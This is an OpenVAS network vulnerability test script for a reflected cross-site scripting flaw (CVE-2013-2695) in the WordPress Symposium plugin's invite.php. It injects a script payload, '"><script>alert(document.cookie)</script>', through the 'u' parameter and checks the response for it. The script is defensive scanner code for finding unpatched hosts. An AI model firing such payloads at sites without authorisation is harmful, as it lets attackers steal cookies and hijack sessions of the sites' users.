WordPress Symposium Plugin XSS Vulnerability

2013-04-17T00:00:00
ID OPENVAS:1361412562310803373
Type openvas
Reporter Copyright (C) 2013 Greenbone Networks GmbH
Modified 2020-02-26T00:00:00

Description

This host is running WordPress with Symposium plugin and is prone to cross site scripting vulnerability.

                                        
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# OpenVAS Vulnerability Test
#
# WordPress Symposium Plugin XSS Vulnerability
#
# Authors:
# Arun Kallavi <karun@secpod.com>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803373");
  script_version("2020-02-26T12:57:19+0000");
  script_cve_id("CVE-2013-2695");
  script_bugtraq_id(59044);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2020-02-26 12:57:19 +0000 (Wed, 26 Feb 2020)");
  script_tag(name:"creation_date", value:"2013-04-17 17:30:46 +0530 (Wed, 17 Apr 2013)");
  script_name("WordPress Symposium Plugin XSS Vulnerability");
  script_xref(name:"URL", value:"http://www.securelist.com/en/advisories/52864");
  script_xref(name:"URL", value:"http://nakedsecurity.com/nsa/246758.htm");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_mandatory_keys("wordpress/installed");
  script_require_ports("Services/www", 80);
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert arbitrary HTML
  and script code, which will be executed in a user's browser session in the
  context of an affected site.");
  script_tag(name:"affected", value:"WordPress Symposium Plugin version 13.02 and prior");
  script_tag(name:"insight", value:"The input passed via 'u' parameters to
  'wordpress/wp-content/plugins/wp-symposium/invite.php' script is not
  properly validated before being returned to the user.");
  script_tag(name:"solution", value:"Upgrade WordPress Symposium Plugin version 13.04 or later.");
  script_tag(name:"summary", value:"This host is running WordPress with Symposium plugin and is
  prone to cross site scripting vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/wp-symposium");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:port)){
  exit(0);
}

url = dir + '/wp-content/plugins/wp-symposium/invite.php?u='+
            '"><script>alert(document.cookie)</script>';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
       pattern:"><script>alert\(document\.cookie\)</script>"))
{
  security_message(port);
  exit(0);
}